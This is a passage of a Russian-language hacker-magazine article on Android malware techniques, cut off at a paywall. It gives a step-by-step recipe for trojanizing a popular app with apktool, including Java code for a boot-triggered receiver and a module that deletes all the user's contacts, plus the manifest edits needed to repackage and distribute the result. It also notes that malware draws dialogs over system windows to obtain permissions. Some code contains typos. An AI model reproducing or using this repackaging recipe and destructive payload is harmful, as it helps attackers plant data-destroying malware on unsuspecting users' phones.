В наше время люди доверяют все больше личной информации смартфонам и планшетам. Просмотреть аккаунты в соцсетях, фотографии и почтовые сообщения, узнать банковские данные, местоположение и даже распорядок дня можно, получив доступ к данным смартфона. Злоумышленники используют ошибки в программном обеспечении, недокументированные возможности, а в большинстве случаев — людские слабости и пороки, чтобы внедрить малварь на устройство. Вредоносные программы становятся все хитрее и изворотливее, пытаясь скрыть свое присутствие. И если одни просто вываливают на пользователя кучу рекламы, то другие вовсе не так безобидны. Хорошенько обосновавшись на смартфоне, они шантажируют юзера, заставляя его платить за доступ к своим же данным, а то и следят за каждым его шагом и действием. О самых модных тенденциях в создании и распространении вирусов и пойдет речь в этой статье.

WARNING


Все описанные в статье моменты проиллюстрированы большим количеством откомментированного кода. Автор и редакция не несут ответственности за неправомерное использование информации из данного материала. Листинги представлены исключительно в образовательных целях!
 

Заражение

Самый простой и распространенный способ заражения — взять популярную программу, расковырять ее и вставить внутрь нехороший код. Затем запаковать и выдать за бесплатную версию или версию с дополнительными функциями. Такие программы «с сюрпризом» появляются не только в неофициальных магазинах приложений для Android, периодически они просачиваются и на официальный Play Market.

Реализуется такой подлог очень просто.

  1. Злоумышленник скачивает APK популярной программы с маркета, воспользовавшись, к примеру, этим сервисом.
  2. Распаковывает приложение утилитой apktool:

     apktool -d <имя файла приложения>
  3. Пишет код зловреда, например получатель широкоформатных уведомлений, который срабатывает после перезагрузки устройства и начинает посылать команды другим частям зловреда каждую секунду:

     public class VirusController extends BroadcastReciever {
       public void onReceive(Context context, Intent intent) {
         AlarmManager service = (AlarmManager)context.getSystemService(Context.ALARM_SERVICE);
         Intent i = new Intent(context, RunTrojan.class);
         i.setAction("android.trojan.action.EXTERMINATE");
         PendingIntent pending = PendingIntent.getBroadcast(context, 0, i, PendingIntent.FLAG_CANCEL_CURRENT);
         service.setInexactRepeating(AlarmManager.RTCWAKEUP, Calendar.getInstance().getTimeInMillis(), 1000, pending);
       }
     }
  4. Здесь один из модулей реагирует на событие android.trojan.action.EXTERMINATE и уничтожает все контактные данные пользователя:

     public class ExterminateModule extends BroadcastReceiver {
       public void onReceive(Context context, Intent intent) {
         ContentResolver contentResolver = context.getContentResolver();
         Cursor cursor = contentResolver.query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);
         while (cursor.moveToNext()) {
             String lookupKey = cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts.LOOKUP_KEY));
             Uri uri = Uri.withAppendedPath(ContactsContract.Contacts.CONTENT_LOOKUP_URI, lookupKey);
             contentResolver.delete(uri, null, null);
         }
       }
     }

Теперь хакеру нужно скомпилировать код вируса, а затем распаковать, используя все тот же apktool. Затем он добавляет smali-файлы вируса к smali-файлам программы-жертвы. Подправляет AndroidManifest, включает нужные разрешения и объявления получателей уведомлений:

<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.WRITE_CONTACTS"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
...
<receiver android:name="android.trojan.ExterminateModule">
    <intent-filter>
        <action android:name="android.trojan.action.EXTERMINATE"/>
    </intent-filter>
</receiver>
<receiver android:name="android.trojan.VirusController">
    <intent-filter>
        <action android:name="android.intent.action.BOOTCOMPLETED"/>
    </intent-filter>
</receiver>

Осталось упаковать программу-жертву обратно все той же утилитой apktool, и приложение «с подарочком» готово.

apktool b <папка с приложением>

Если в качестве жертвы выбрать приложение с подходящими разрешениями, то оно не вызовет у пользователя ни малейших подозрений! Если же подобрать необходимые разрешения не получается, то вирусам приходится заставлять пользователя дать им расширенные права, показывая свой диалог поверх системного.

Например, так поступают Trojan-Banker.AndroidOS.Asacub и Trojan-SMS.AndroidOS.Tiny.aw. Да-да, Android позволяет создавать окна, которые будут отображаться поверх всех остальных приложений и диалогов, в том числе и системных. Для этого понадобится всего лишь создать нужный View и добавить его в WindowManager:

Продолжение статьи доступно только подписчикам

Вариант 1. Оформи подписку на «Хакер», чтобы читать все статьи на сайте

Подписка позволит тебе в течение указанного срока читать ВСЕ платные материалы сайта, включая эту статью. Мы принимаем оплату банковскими картами, электронными деньгами и переводами со счетов мобильных операторов. Подробнее о подписке

Вариант 2. Купи одну статью

Заинтересовала статья, но нет возможности оплатить подписку? Тогда этот вариант для тебя! Обрати внимание: этот способ покупки доступен только для статей, опубликованных более двух месяцев назад.


4 комментария

Подпишитесь на ][, чтобы участвовать в обсуждении

Обсуждение этой статьи доступно только нашим подписчикам. Вы можете войти в свой аккаунт или зарегистрироваться и оплатить подписку, чтобы свободно участвовать в обсуждении.

Check Also

WWW: TLDR pages — замена справке man, показывающая только самое важное

Что ты делаешь каждый раз, когда набираешь команду man в Linux или Unix? Правильно: тяжело…